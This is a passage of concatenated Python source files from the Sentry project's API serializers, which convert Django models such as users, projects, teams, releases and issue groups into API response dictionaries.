        attrs = super(GroupReleaseWithStatsSerializer, self).get_attrs(
            item_list, user)

        items = {}
        for item in item_list:
            items.setdefault(item.group_id, []).append(item.id)
            attrs[item]['stats'] = {}

        for key, (segments, interval) in six.iteritems(self.STATS_PERIODS):
            until = self.until or timezone.now()
            since = self.since or until - ((segments - 1) * interval)

            try:
                stats = tsdb.get_frequency_series(
                    model=tsdb.models.frequent_releases_by_group,
                    items=items,
                    start=since,
                    end=until,
                    rollup=int(interval.total_seconds()),
                )
            except NotImplementedError:
                # TODO(dcramer): probably should log this, but not worth
                # erring out
                stats = {}

            for item in item_list:
                attrs[item]['stats'][key] = [
                    (k, v[item.id])
                    for k, v in stats.get(item.group_id, {})
                ]
        return attrs

    def serialize(self, obj, attrs, user):
        result = super(GroupReleaseWithStatsSerializer, self).serialize(
            obj, attrs, user)
        result['stats'] = attrs['stats']
        return result






from __future__ import absolute_import

import six

from sentry.api.serializers import Serializer, register, serialize
from sentry.models import OrganizationMember


@register(OrganizationMember)
class OrganizationMemberSerializer(Serializer):
    def get_attrs(self, item_list, user):
        # TODO(dcramer): assert on relations
        users = {
            d['id']: d
            for d in serialize(set(i.user for i in item_list if i.user_id), user)
        }

        return {
            item: {
                'user': users[six.text_type(item.user_id)] if item.user_id else None,
            } for item in item_list
        }

    def serialize(self, obj, attrs, user):
        d = {
            'id': six.text_type(obj.id),
            'email': obj.get_email(),
            'name': obj.user.get_display_name() if obj.user else obj.get_email(),
            'user': attrs['user'],
            'role': obj.role,
            'roleName': obj.get_role_display(),
            'pending': obj.is_pending,
            'flags': {
                'sso:linked': bool(getattr(obj.flags, 'sso:linked')),
                'sso:invalid': bool(getattr(obj.flags, 'sso:invalid')),
            },
            'dateCreated': obj.date_added,
        }
        return d






from __future__ import absolute_import

import six

from sentry.api.serializers import Serializer, register
from sentry.models import GroupTagKey, TagKey


@register(GroupTagKey)
class GroupTagKeySerializer(Serializer):
    def get_attrs(self, item_list, user):
        tag_labels = {
            t.key: t.get_label()
            for t in TagKey.objects.filter(
                project=item_list[0].project,
                key__in=[i.key for i in item_list]
            )
        }

        result = {}
        for item in item_list:
            key = TagKey.get_standardized_key(item.key)
            try:
                label = tag_labels[item.key]
            except KeyError:
                label = key
            result[item] = {
                'name': label,
                'key': key,
            }
        return result

    def serialize(self, obj, attrs, user):
        return {
            'id': six.text_type(obj.id),
            'name': attrs['name'],
            'key': attrs['key'],
            'uniqueValues': obj.values_seen,
        }






from __future__ import absolute_import

import operator
import six

from django.db.models import Q
from six.moves import reduce

from sentry.api.serializers import Serializer, register
from sentry.models import EventUser, TagKey, TagValue


def parse_user_tag(value):
    lookup, value = value.split(':', 1)
    if lookup == 'id':
        lookup = 'ident'
    elif lookup == 'ip':
        lookup = 'ip_address'
    return {lookup: value}


@register(TagValue)
class TagValueSerializer(Serializer):
    def get_attrs(self, item_list, user):
        user_lookups = [
            Q(**parse_user_tag(i.value))
            for i in item_list
            if i.key == 'sentry:user'
        ]

        tag_labels = {}
        if user_lookups:
            tag_labels.update({
                ('sentry:user', euser.tag_value): euser.get_label()
                for euser in EventUser.objects.filter(
                    reduce(operator.or_, user_lookups),
                    project=item_list[0].project,
                )
            })

        result = {}
        for item in item_list:
            try:
                label = tag_labels[(item.key, item.value)]
            except KeyError:
                label = item.get_label()
            result[item] = {
                'name': label,
            }
        return result

    def serialize(self, obj, attrs, user):
        return {
            'id': six.text_type(obj.id),
            'key': TagKey.get_standardized_key(obj.key),
            'name': attrs['name'],
            'value': obj.value,
            'count': obj.times_seen,
            'lastSeen': obj.last_seen,
            'firstSeen': obj.first_seen,
        }


class EnvironmentTagValueSerializer(Serializer):
    def serialize(self, obj, attrs, user):
        return {
            'id': six.text_type(obj.id),
            'name': obj.value,
        }






from __future__ import absolute_import

import six

from sentry.api.serializers import Serializer, register
from sentry.models import EventUser
from sentry.utils.avatar import get_gravatar_url


@register(EventUser)
class EventUserSerializer(Serializer):
    def serialize(self, obj, attrs, user):
        return {
            'id': six.text_type(obj.id),
            'identifier': obj.ident,
            'username': obj.username,
            'email': obj.email,
            'ipAddress': obj.ip_address,
            'avatarUrl': get_gravatar_url(obj.email, size=32),
        }






from __future__ import absolute_import

import six

from sentry.api.serializers import Serializer, register
from sentry.models import ProjectDSymFile, GlobalDSymFile


@register(ProjectDSymFile)
@register(GlobalDSymFile)
class DSymFileSerializer(Serializer):
    def serialize(self, obj, attrs, user):
        d = {
            'id': six.text_type(obj.id),
            'uuid': obj.uuid,
            'cpuName': obj.cpu_name,
            'objectName': obj.object_name,
            'symbolType': obj.dsym_type,
            'headers': obj.file.headers,
            'size': obj.file.size,
            'sha1': obj.file.checksum,
            'dateCreated': obj.file.timestamp,
        }
        return d






from __future__ import absolute_import

import operator
import six

from django.db.models import Q
from six.moves import reduce

from sentry.api.serializers import Serializer, register
from sentry.models import EventUser, GroupTagValue, TagKey, TagValue


def parse_user_tag(value):
    lookup, value = value.split(':', 1)
    if lookup == 'id':
        lookup = 'ident'
    elif lookup == 'ip':
        lookup = 'ip_address'
    elif lookup not in ('email', 'ip_address', 'username'):
        raise ValueError('{} is not a valid user attribute'.format(lookup))
    return {lookup: value}


@register(GroupTagValue)
class GroupTagValueSerializer(Serializer):
    def get_attrs(self, item_list, user):
        project = item_list[0].project

        user_lookups = []
        for item in item_list:
            if item.key != 'sentry:user':
                continue
            if ':' not in item.value:
                continue
            try:
                user_lookups.append(Q(**parse_user_tag(item.value)))
            except ValueError:
                continue

        tag_labels = {}
        if user_lookups:
            tag_labels.update({
                ('sentry:user', euser.tag_value): euser.get_label()
                for euser in EventUser.objects.filter(
                    reduce(operator.or_, user_lookups),
                    project=project,
                )
            })

        other_lookups = [
            Q(key=i.key, value=i.value)
            for i in item_list
            if i.key != 'sentry:user'
        ]
        if other_lookups:
            tag_labels.update({
                (t.key, t.value): t.get_label()
                for t in TagValue.objects.filter(
                    reduce(operator.or_, other_lookups),
                    project=project,
                )
            })

        result = {}
        for item in item_list:
            try:
                label = tag_labels[(item.key, item.value)]
            except KeyError:
                label = item.value
            result[item] = {
                'name': label,
            }
        return result

    def serialize(self, obj, attrs, user):
        return {
            'id': six.text_type(obj.id),
            'name': attrs['name'],
            'key': TagKey.get_standardized_key(obj.key),
            'value': obj.value,
            'count': obj.times_seen,
            'lastSeen': obj.last_seen,
            'firstSeen': obj.first_seen,
        }






from __future__ import absolute_import

import six

from sentry.api.serializers import Serializer, register
from sentry.models import ApiToken


@register(ApiToken)
class ApiTokenSerializer(Serializer):
    def serialize(self, obj, attrs, user):
        return {
            'token': obj.token,
            'scopes': [k for k, v in six.iteritems(obj.scopes) if v],
            'dateCreated': obj.date_added,
        }






from __future__ import absolute_import

import six

from collections import namedtuple
from datetime import timedelta
from django.utils import timezone

from sentry.app import tsdb
from sentry.api.serializers import Serializer, register
from sentry.models import Environment

StatsPeriod = namedtuple('StatsPeriod', ('segments', 'interval'))


@register(Environment)
class EnvironmentSerializer(Serializer):
    def serialize(self, obj, attrs, user):
        return {
            'id': six.text_type(obj.id),
            'name': obj.name,
        }


class GroupEnvironmentWithStatsSerializer(EnvironmentSerializer):
    STATS_PERIODS = {
        '24h': StatsPeriod(24, timedelta(hours=1)),
        '30d': StatsPeriod(30, timedelta(hours=24)),
    }

    def __init__(self, group, since=None, until=None):
        self.group = group
        self.since = since
        self.until = until

    def get_attrs(self, item_list, user):
        attrs = {
            item: {'stats': {}}
            for item in item_list
        }
        items = {self.group.id: []}
        for item in item_list:
            items[self.group.id].append(item.id)

        for key, (segments, interval) in six.iteritems(self.STATS_PERIODS):
            until = self.until or timezone.now()
            since = self.since or until - ((segments - 1) * interval)

            try:
                stats = tsdb.get_frequency_series(
                    model=tsdb.models.frequent_environments_by_group,
                    items=items,
                    start=since,
                    end=until,
                    rollup=int(interval.total_seconds()),
                )
            except NotImplementedError:
                # TODO(dcramer): probably should log this, but not worth
                # erring out
                stats = {}

            for item in item_list:
                attrs[item]['stats'][key] = [
                    (k, v[item.id])
                    for k, v in stats.get(self.group.id, {})
                ]
        return attrs

    def serialize(self, obj, attrs, user):
        result = super(GroupEnvironmentWithStatsSerializer, self).serialize(
            obj, attrs, user)
        result['stats'] = attrs['stats']
        return result






from __future__ import absolute_import

import six

from sentry.api.serializers import register, serialize, Serializer
from sentry.models import UserReport


@register(UserReport)
class UserReportSerializer(Serializer):
    def serialize(self, obj, attrs, user):
        # TODO(dcramer): add in various context from the event
        # context == user / http / extra interfaces
        return {
            'id': six.text_type(obj.id),
            'eventID': obj.event_id,
            'name': obj.name,
            'email': obj.email,
            'comments': obj.comments,
            'dateCreated': obj.date_added,
        }


class ProjectUserReportSerializer(UserReportSerializer):
    def get_attrs(self, item_list, user):
        # TODO(dcramer); assert on relations
        groups = {
            d['id']: d
            for d in serialize(set(i.group for i in item_list if i.group_id), user)
        }

        attrs = {}
        for item in item_list:
            attrs[item] = {
                'group': groups[six.text_type(item.group_id)] if item.group_id else None,
            }
        return attrs

    def serialize(self, obj, attrs, user):
        context = super(ProjectUserReportSerializer, self).serialize(
            obj, attrs, user,
        )
        context['issue'] = attrs['group']
        return context






from __future__ import absolute_import

import six

from collections import defaultdict
from django.db.models import Q

from sentry.api.serializers import register, serialize, Serializer
from sentry.models import (
    Project, ProjectBookmark, ProjectOption, ProjectPlatform, ProjectStatus,
    UserOption
)

STATUS_LABELS = {
    ProjectStatus.VISIBLE: 'active',
    ProjectStatus.HIDDEN: 'deleted',
    ProjectStatus.PENDING_DELETION: 'deleted',
    ProjectStatus.DELETION_IN_PROGRESS: 'deleted',
}


@register(Project)
class ProjectSerializer(Serializer):
    def get_attrs(self, item_list, user):
        project_ids = [i.id for i in item_list]
        if user.is_authenticated() and item_list:
            bookmarks = set(ProjectBookmark.objects.filter(
                user=user,
                project_id__in=project_ids,
            ).values_list('project_id', flat=True))
            user_options = {
                (u.project_id, u.key): u.value
                for u in UserOption.objects.filter(
                    Q(user=user, project__in=item_list, key='mail:alert') |
                    Q(user=user, key='subscribe_by_default', project__isnull=True)
                )
            }
            default_subscribe = (
                user_options.get('subscribe_by_default', '1') == '1'
            )

            default_environments = {
                o.project_id: o.value
                for o in ProjectOption.objects.filter(
                    key='sentry:default_environment',
                    project__in=project_ids,
                )
            }
        else:
            bookmarks = set()
            user_options = {}
            default_subscribe = False
            default_environments = {}

        reviewed_callsigns = {
            p.project_id: p.value
            for p in ProjectOption.objects.filter(
                project__in=item_list,
                key='sentry:reviewed-callsign',
            )
        }

        platforms = ProjectPlatform.objects.filter(
            project_id__in=project_ids,
        ).values_list('project_id', 'platform')
        platforms_by_project = defaultdict(list)
        for project_id, platform in platforms:
            platforms_by_project[project_id].append(platform)

        result = {}
        for item in item_list:
            result[item] = {
                'is_bookmarked': item.id in bookmarks,
                'is_subscribed': bool(user_options.get(
                    (item.id, 'mail:alert'),
                    default_subscribe,
                )),
                'default_environment': default_environments.get(item.id),
                'reviewed-callsign': reviewed_callsigns.get(item.id),
                'platforms': platforms_by_project[item.id],
            }
        return result

    def serialize(self, obj, attrs, user):
        from sentry import features

        feature_list = []
        for feature in ('global-events',):
            if features.has('projects:' + feature, obj, actor=user):
                feature_list.append(feature)

        status_label = STATUS_LABELS.get(obj.status, 'unknown')

        return {
            'id': six.text_type(obj.id),
            'slug': obj.slug,
            'name': obj.name,
            'isPublic': obj.public,
            'isBookmarked': attrs['is_bookmarked'],
            'defaultEnvironment': attrs['default_environment'],
            'callSign': obj.callsign,
            'color': obj.color,
            # TODO(mitsuhiko): eventually remove this when we will treat
            # all short names as reviewed.
            'callSignReviewed': bool(attrs['reviewed-callsign']),
            'dateCreated': obj.date_added,
            'firstEvent': obj.first_event,
            'features': feature_list,
            'status': status_label,
            'platforms': attrs['platforms'],
        }


class ProjectWithOrganizationSerializer(ProjectSerializer):
    def get_attrs(self, item_list, user):
        attrs = super(ProjectWithOrganizationSerializer, self).get_attrs(
            item_list, user
        )

        orgs = {
            d['id']: d
            for d in serialize(list(set(i.organization for i in item_list)), user)
        }
        for item in item_list:
            attrs[item]['organization'] = orgs[six.text_type(item.organization_id)]
        return attrs

    def serialize(self, obj, attrs, user):
        data = super(ProjectWithOrganizationSerializer, self).serialize(
            obj, attrs, user
        )
        data['organization'] = attrs['organization']
        return data


class SharedProjectSerializer(Serializer):
    def serialize(self, obj, attrs, user):
        from sentry import features

        feature_list = []
        for feature in ('global-events',):
            if features.has('projects:' + feature, obj, actor=user):
                feature_list.append(feature)

        return {
            'slug': obj.slug,
            'name': obj.name,
            'callSign': obj.callsign,
            'color': obj.color,
            'features': feature_list,
            'organization': {
                'slug': obj.organization.slug,
                'name': obj.organization.name,
            },
        }






from __future__ import absolute_import

import six

from django.conf import settings

from sentry.app import env
from sentry.api.serializers import Serializer, register
from sentry.models import AuthIdentity, Authenticator, User, UserAvatar, UserOption
from sentry.utils.avatar import get_gravatar_url


@register(User)
class UserSerializer(Serializer):
    def _get_identities(self, item_list, user):
        if not (env.request and env.request.is_superuser()):
            item_list = [x for x in item_list if x == user]

        queryset = AuthIdentity.objects.filter(
            user__in=item_list,
        ).select_related('auth_provider', 'auth_provider__organization')

        results = {i.id: [] for i in item_list}
        for item in queryset:
            results[item.user_id].append(item)
        return results

    def get_attrs(self, item_list, user):
        avatars = {
            a.user_id: a
            for a in UserAvatar.objects.filter(
                user__in=item_list
            )
        }
        identities = self._get_identities(item_list, user)

        authenticators = Authenticator.objects.bulk_users_have_2fa([i.id for i in item_list])

        data = {}
        for item in item_list:
            data[item] = {
                'avatar': avatars.get(item.id),
                'identities': identities.get(item.id),
                'has2fa': authenticators[item.id],
            }
        return data

    def serialize(self, obj, attrs, user):
        d = {
            'id': six.text_type(obj.id),
            'name': obj.get_display_name(),
            'username': obj.username,
            'email': obj.email,
            'avatarUrl': get_gravatar_url(obj.email, size=32),
            'isActive': obj.is_active,
            'isManaged': obj.is_managed,
            'dateJoined': obj.date_joined,
            'lastLogin': obj.last_login,
            'has2fa': attrs['has2fa'],
        }

        if obj == user:
            options = {
                o.key: o.value
                for o in UserOption.objects.filter(
                    user=user,
                    project__isnull=True,
                )
            }
            stacktrace_order = int(options.get('stacktrace_order', -1) or -1)
            if stacktrace_order == -1:
                stacktrace_order = 'default'
            elif stacktrace_order == 2:
                stacktrace_order = 'newestFirst'
            elif stacktrace_order == 1:
                stacktrace_order = 'newestLast'

            d['options'] = {
                'language': options.get('language') or 'en',
                'stacktraceOrder': stacktrace_order,
                'timezone': options.get('timezone') or settings.SENTRY_DEFAULT_TIME_ZONE,
                'clock24Hours': options.get('clock_24_hours') or False,
            }

        if attrs.get('avatar'):
            avatar = {
                'avatarType': attrs['avatar'].get_avatar_type_display(),
                'avatarUuid': attrs['avatar'].ident if attrs['avatar'].file else None
            }
        else:
            avatar = {'avatarType': 'letter_avatar', 'avatarUuid': None}
        d['avatar'] = avatar

        if attrs['identities'] is not None:
            d['identities'] = [{
                'id': i.id,
                'name': i.ident,
                'organization': {
                    'slug': i.auth_provider.organization.slug,
                    'name': i.auth_provider.organization.name,
                },
                'provider': {
                    'id': i.auth_provider.provider,
                    'name': i.auth_provider.get_provider().name,
                },
                'dateSynced': i.last_synced,
                'dateVerified': i.last_verified,
            } for i in attrs['identities']]

        return d






from __future__ import absolute_import

import six

from sentry.api.serializers import Serializer, register, serialize
from sentry.models import Activity


@register(Activity)
class ActivitySerializer(Serializer):
    def get_attrs(self, item_list, user):
        # TODO(dcramer); assert on relations
        users = {
            d['id']: d
            for d in serialize(set(i.user for i in item_list if i.user_id), user)
        }

        return {
            item: {
                'user': users[six.text_type(item.user_id)] if item.user_id else None,
            } for item in item_list
        }

    def serialize(self, obj, attrs, user):
        return {
            'id': six.text_type(obj.id),
            'user': attrs['user'],
            'type': obj.get_type_display(),
            'data': obj.data,
            'dateCreated': obj.datetime,
        }


class OrganizationActivitySerializer(ActivitySerializer):
    def get_attrs(self, item_list, user):
        # TODO(dcramer); assert on relations
        attrs = super(OrganizationActivitySerializer, self).get_attrs(
            item_list, user,
        )

        groups = {
            d['id']: d
            for d in serialize(set(i.group for i in item_list if i.group_id), user)
        }

        projects = {
            d['id']: d
            for d in serialize(set(i.project for i in item_list), user)
        }

        for item in item_list:
            attrs[item]['issue'] = groups[six.text_type(item.group_id)] if item.group_id else None
            attrs[item]['project'] = projects[six.text_type(item.project_id)]
        return attrs

    def serialize(self, obj, attrs, user):
        context = super(OrganizationActivitySerializer, self).serialize(
            obj, attrs, user,
        )
        context['issue'] = attrs['issue']
        context['project'] = attrs['project']
        return context






from __future__ import absolute_import

from sentry.api.serializers import Serializer, register
from sentry.models import ProjectKey


@register(ProjectKey)
class ProjectKeySerializer(Serializer):
    def serialize(self, obj, attrs, user):
        d = {
            'id': obj.public_key,
            'label': obj.label,
            'public': obj.public_key,
            'secret': obj.secret_key,
            'dsn': {
                'secret': obj.dsn_private,
                'public': obj.dsn_public,
                'csp': obj.csp_endpoint,
            },
            'dateCreated': obj.date_added,
        }
        return d






from __future__ import absolute_import

import six

from sentry.api.serializers import Serializer, register
from sentry.models import Rule


@register(Rule)
class RuleSerializer(Serializer):
    def serialize(self, obj, attrs, user):
        d = {
            # XXX(dcramer): we currently serialize unsaved rule objects
            # as part of the rule editor
            'id': six.text_type(obj.id) if obj.id else None,
            'conditions': obj.data.get('conditions', []),
            'actions': obj.data.get('actions', []),
            'actionMatch': obj.data.get('action_match', 'all'),
            'name': obj.label,
            'dateCreated': obj.date_added,
        }
        return d






from __future__ import absolute_import

import six

from sentry.app import quotas
from sentry.api.serializers import Serializer, register, serialize
from sentry.auth import access
from sentry.models import (
    ApiKey,
    Organization,
    OrganizationAccessRequest,
    OrganizationOnboardingTask,
    OrganizationOption,
    Team,
    TeamStatus
)


@register(Organization)
class OrganizationSerializer(Serializer):
    def serialize(self, obj, attrs, user):
        return {
            'id': six.text_type(obj.id),
            'slug': obj.slug,
            'name': obj.name,
            'dateCreated': obj.date_added,
            'isEarlyAdopter': bool(obj.flags.early_adopter),
        }


class OnboardingTasksSerializer(Serializer):
    def serialize(self, obj, attrs, user):
        return {
            'task': obj.task,
            'status': dict(OrganizationOnboardingTask.STATUS_CHOICES).get(obj.status).lower(),
            'user': obj.user.name if obj.user else None,
            'dateCompleted': obj.date_completed,
            'data': obj.data,
        }


class DetailedOrganizationSerializer(OrganizationSerializer):
    def serialize(self, obj, attrs, user):
        from sentry import features
        from sentry.app import env
        from sentry.api.serializers.models.team import TeamWithProjectsSerializer

        team_list = list(Team.objects.filter(
            organization=obj,
            status=TeamStatus.VISIBLE,
        ))
        for team in team_list:
            team._organization_cache = obj

        onboarding_tasks = list(OrganizationOnboardingTask.objects.filter(
            organization=obj,
        ).select_related('user'))

        feature_list = []
        if features.has('organizations:sso', obj, actor=user):
            feature_list.append('sso')
        if features.has('organizations:callsigns', obj, actor=user):
            feature_list.append('callsigns')
        if features.has('organizations:onboarding', obj, actor=user) and \
                not OrganizationOption.objects.filter(organization=obj).exists():
            feature_list.append('onboarding')
        if features.has('organizations:api-keys', obj, actor=user) or \
                ApiKey.objects.filter(organization=obj).exists():
            feature_list.append('api-keys')

        if getattr(obj.flags, 'allow_joinleave'):
            feature_list.append('open-membership')
        if not getattr(obj.flags, 'disable_shared_issues'):
            feature_list.append('shared-issues')

        context = super(DetailedOrganizationSerializer, self).serialize(
            obj, attrs, user)
        context['quota'] = {
            'maxRate': quotas.get_organization_quota(obj),
            'projectLimit': int(OrganizationOption.objects.get_value(
                organization=obj,
                key='sentry:project-rate-limit',
                default=100,
            )),
        }
        context['teams'] = serialize(
            team_list, user, TeamWithProjectsSerializer())
        if env.request:
            context['access'] = access.from_request(env.request, obj).scopes
        else:
            context['access'] = access.from_user(user, obj).scopes
        context['features'] = feature_list
        context['pendingAccessRequests'] = OrganizationAccessRequest.objects.filter(
            team__organization=obj,
        ).count()
        context['onboardingTasks'] = serialize(onboarding_tasks, user, OnboardingTasksSerializer())
        return context






from __future__ import absolute_import

from sentry.utils.imports import import_submodules

import_submodules(globals(), __name__, __path__)






from __future__ import absolute_import

import six

from collections import defaultdict
from six.moves import zip

from sentry.app import env
from sentry.api.serializers import Serializer, register, serialize
from sentry.models import (
    OrganizationAccessRequest, OrganizationMemberTeam, Project, ProjectStatus,
    Team
)


@register(Team)
class TeamSerializer(Serializer):
    def get_attrs(self, item_list, user):
        request = env.request
        if user.is_authenticated():
            memberships = frozenset(
                OrganizationMemberTeam.objects.filter(
                    organizationmember__user=user,
                    team__in=item_list,
                ).values_list('team', flat=True)
            )
        else:
            memberships = frozenset()

        if user.is_authenticated():
            access_requests = frozenset(
                OrganizationAccessRequest.objects.filter(
                    team__in=item_list,
                    member__user=user,
                ).values_list('team', flat=True)
            )
        else:
            access_requests = frozenset()

        is_superuser = (
            request and request.is_superuser() and request.user == user
        )
        result = {}
        for team in item_list:
            is_member = team.id in memberships
            if is_member:
                has_access = True
            elif is_superuser:
                has_access = True
            elif team.organization.flags.allow_joinleave:
                has_access = True
            else:
                has_access = False
            result[team] = {
                'pending_request': team.id in access_requests,
                'is_member': is_member,
                'has_access': has_access,
            }
        return result

    def serialize(self, obj, attrs, user):
        return {
            'id': six.text_type(obj.id),
            'slug': obj.slug,
            'name': obj.name,
            'dateCreated': obj.date_added,
            'isMember': attrs['is_member'],
            'hasAccess': attrs['has_access'],
            'isPending': attrs['pending_request'],
        }


class TeamWithProjectsSerializer(TeamSerializer):
    def get_attrs(self, item_list, user):
        project_qs = list(Project.objects.filter(
            team__in=item_list,
            status=ProjectStatus.VISIBLE,
        ).order_by('name', 'slug'))

        team_map = {i.id: i for i in item_list}
        # TODO(dcramer): we should query in bulk for ones we're missing here
        orgs = {i.organization_id: i.organization for i in item_list}

        for project in project_qs:
            project._team_cache = team_map[project.team_id]
            project._organization_cache = orgs[project.organization_id]

        project_map = defaultdict(list)
        for project, data in zip(project_qs, serialize(project_qs, user)):
            project_map[project.team_id].append(data)

        result = super(TeamWithProjectsSerializer, self).get_attrs(item_list, user)
        for team in item_list:
            result[team]['projects'] = project_map[team.id]
        return result

    def serialize(self, obj, attrs, user):
        d = super(TeamWithProjectsSerializer, self).serialize(obj, attrs, user)
        d['projects'] = attrs['projects']
        return d






from __future__ import absolute_import

import six

from sentry.api.serializers import Serializer, register
from sentry.models import Broadcast, BroadcastSeen


@register(Broadcast)
class BroadcastSerializer(Serializer):
    def get_attrs(self, item_list, user):
        if not user.is_authenticated():
            seen = set()
        else:
            seen = set(BroadcastSeen.objects.filter(
                broadcast__in=item_list,
                user=user,
            ).values_list('broadcast', flat=True))

        return {
            item: {
                'seen': item.id in seen,
            } for item in item_list
        }

    def serialize(self, obj, attrs, user):
        return {
            'id': six.text_type(obj.id),
            'message': obj.message,
            'title': obj.title,
            'link': obj.link,
            'isActive': obj.is_active,
            'dateCreated': obj.date_added,
            'hasSeen': attrs['seen'],
        }






from __future__ import absolute_import

import six

from sentry.api.serializers import Serializer, register, serialize
from sentry.models import AuditLogEntry


@register(AuditLogEntry)
class AuditLogEntrySerializer(Serializer):
    def get_attrs(self, item_list, user):
        # TODO(dcramer); assert on relations
        actors = {
            d['id']: d
            for d in serialize(set(i.actor for i in item_list if i.actor_id), user)
        }

        return {
            item: {
                'actor': actors[six.text_type(item.actor_id)] if item.actor_id else {
                    'name': item.get_actor_name(),
                },
            } for item in item_list
        }

    def serialize(self, obj, attrs, user):
        return {
            'id': six.text_type(obj.id),
            'actor': attrs['actor'],
            'event': obj.get_event_display(),
            'ipAddress': obj.ip_address,
            'note': obj.get_note(),
            'dateCreated': obj.datetime,
        }






from __future__ import absolute_import

import six

from sentry.api.serializers import Serializer, register, serialize
from sentry.models import Release, TagValue


@register(Release)
class ReleaseSerializer(Serializer):
    def get_attrs(self, item_list, user):
        tags = {
            tk.value: tk
            for tk in TagValue.objects.filter(
                project=item_list[0].project,
                key='sentry:release',
                value__in=[o.version for o in item_list],
            )
        }
        owners = {
            d['id']: d
            for d in serialize(set(i.owner for i in item_list if i.owner_id), user)
        }

        result = {}
        for item in item_list:
            result[item] = {
                'tag': tags.get(item.version),
                'owner': owners[six.text_type(item.owner_id)] if item.owner_id else None,
            }
        return result

    def serialize(self, obj, attrs, user):
        d = {
            'version': obj.version,
            'shortVersion': obj.short_version,
            'ref': obj.ref,
            'url': obj.url,
            'dateStarted': obj.date_started,
            'dateReleased': obj.date_released,
            'dateCreated': obj.date_added,
            'data': obj.data,
            'newGroups': obj.new_groups,
            'owner': attrs['owner'],
        }
        if attrs['tag']:
            d.update({
                'lastEvent': attrs['tag'].last_seen,
                'firstEvent': attrs['tag'].first_seen,
            })
        else:
            d.update({
                'lastEvent': None,
                'firstEvent': None,
            })
        return d






from __future__ import absolute_import

from sentry.api.serializers import Serializer, register
from sentry.models import GroupHash


@register(GroupHash)
class GroupHashSerializer(Serializer):
    def serialize(self, obj, attrs, user):
        return {
            'id': obj.hash,
        }






from __future__ import absolute_import

import six

from sentry.api.serializers import Serializer, register, serialize
from sentry.models import GroupSeen


@register(GroupSeen)
class GroupSeenSerializer(Serializer):
    def get_attrs(self, item_list, user):
        user_map = {
            d['id']: d
            for d in serialize(set(i.user for i in item_list), user)
        }

        result = {}
        for item in item_list:
            result[item] = {
                'user': user_map[six.text_type(item.user_id)],
            }
        return result

    def serialize(self, obj, attrs, user):
        data = attrs['user']
        data['lastSeen'] = obj.last_seen
        return data






from __future__ import absolute_import, print_function

import six

from collections import namedtuple
from datetime import timedelta
from django.core.urlresolvers import reverse
from django.utils import timezone

from sentry.api.serializers import Serializer, register, serialize
from sentry.app import tsdb
from sentry.constants import LOG_LEVELS
from sentry.models import (
    Group, GroupAssignee, GroupBookmark, GroupMeta, GroupResolution,
    GroupResolutionStatus, GroupSeen, GroupSnooze, GroupSubscription,
    GroupStatus, GroupTagKey, UserOption, UserOptionValue
)
from sentry.utils.db import attach_foreignkey
from sentry.utils.http import absolute_uri
from sentry.utils.safe import safe_execute


@register(Group)
class GroupSerializer(Serializer):
    def _get_subscriptions(self, item_list, user):
        default_subscribed = UserOption.objects.get_value(
            user=user,
            project=None,
            key='workflow:notifications',
        )
        if default_subscribed == UserOptionValue.participating_only:
            subscriptions = set(GroupSubscription.objects.filter(
                group__in=item_list,
                user=user,
                is_active=True,
            ).values_list('group_id', flat=True))
        else:
            subscriptions = set([i.id for i in item_list]).difference(
                GroupSubscription.objects.filter(
                    group__in=item_list,
                    user=user,
                    is_active=False,
                ).values_list('group_id', flat=True),
            )
        return subscriptions

    def get_attrs(self, item_list, user):
        from sentry.plugins import plugins

        GroupMeta.objects.populate_cache(item_list)

        attach_foreignkey(item_list, Group.project)

        if user.is_authenticated() and item_list:
            bookmarks = set(GroupBookmark.objects.filter(
                user=user,
                group__in=item_list,
            ).values_list('group_id', flat=True))
            seen_groups = dict(GroupSeen.objects.filter(
                user=user,
                group__in=item_list,
            ).values_list('group_id', 'last_seen'))
            subscriptions = self._get_subscriptions(item_list, user)
        else:
            bookmarks = set()
            seen_groups = {}
            subscriptions = set()

        assignees = dict(
            (a.group_id, a.user)
            for a in GroupAssignee.objects.filter(
                group__in=item_list,
            ).select_related('user')
        )

        user_counts = dict(
            GroupTagKey.objects.filter(
                group__in=item_list,
                key='sentry:user',
            ).values_list('group', 'values_seen')
        )

        snoozes = dict(
            GroupSnooze.objects.filter(
                group__in=item_list,
            ).values_list('group', 'until')
        )

        pending_resolutions = dict(
            GroupResolution.objects.filter(
                group__in=item_list,
                status=GroupResolutionStatus.PENDING,
            ).values_list('group', 'release')
        )

        result = {}
        for item in item_list:
            active_date = item.active_at or item.last_seen

            annotations = []
            for plugin in plugins.for_project(project=item.project, version=1):
                safe_execute(plugin.tags, None, item, annotations,
                             _with_transaction=False)
            for plugin in plugins.for_project(project=item.project, version=2):
                annotations.extend(safe_execute(plugin.get_annotations, group=item,
                                                _with_transaction=False) or ())

            result[item] = {
                'assigned_to': serialize(assignees.get(item.id)),
                'is_bookmarked': item.id in bookmarks,
                'is_subscribed': item.id in subscriptions,
                'has_seen': seen_groups.get(item.id, active_date) > active_date,
                'annotations': annotations,
                'user_count': user_counts.get(item.id, 0),
                'snooze': snoozes.get(item.id),
                'pending_resolution': pending_resolutions.get(item.id),
            }
        return result

    def serialize(self, obj, attrs, user):
        status = obj.status
        status_details = {}
        if attrs['snooze']:
            if attrs['snooze'] < timezone.now() and status == GroupStatus.MUTED:
                status = GroupStatus.UNRESOLVED
            else:
                status_details['snoozeUntil'] = attrs['snooze']
        elif status == GroupStatus.UNRESOLVED and obj.is_over_resolve_age():
            status = GroupStatus.RESOLVED
            status_details['autoResolved'] = True
        if status == GroupStatus.RESOLVED:
            status_label = 'resolved'
            if attrs['pending_resolution']:
                status_details['inNextRelease'] = True
        elif status == GroupStatus.MUTED:
            status_label = 'muted'
        elif status in [GroupStatus.PENDING_DELETION, GroupStatus.DELETION_IN_PROGRESS]:
            status_label = 'pending_deletion'
        elif status == GroupStatus.PENDING_MERGE:
            status_label = 'pending_merge'
        else:
            status_label = 'unresolved'

        permalink = absolute_uri(reverse('sentry-group', args=[
            obj.organization.slug, obj.project.slug, obj.id]))

        event_type = obj.data.get('type', 'default')
        metadata = obj.data.get('metadata') or {
            'title': obj.message_short,
        }
        # TODO(dcramer): remove in 8.6+
        if event_type == 'error':
            if 'value' in metadata:
                metadata['value'] = six.text_type(metadata['value'])
            if 'type' in metadata:
                metadata['type'] = six.text_type(metadata['type'])

        return {
            'id': six.text_type(obj.id),
            'shareId': obj.get_share_id(),
            'shortId': obj.qualified_short_id,
            'count': six.text_type(obj.times_seen),
            'userCount': attrs['user_count'],
            'title': obj.message_short,
            'culprit': obj.culprit,
            'permalink': permalink,
            'firstSeen': obj.first_seen,
            'lastSeen': obj.last_seen,
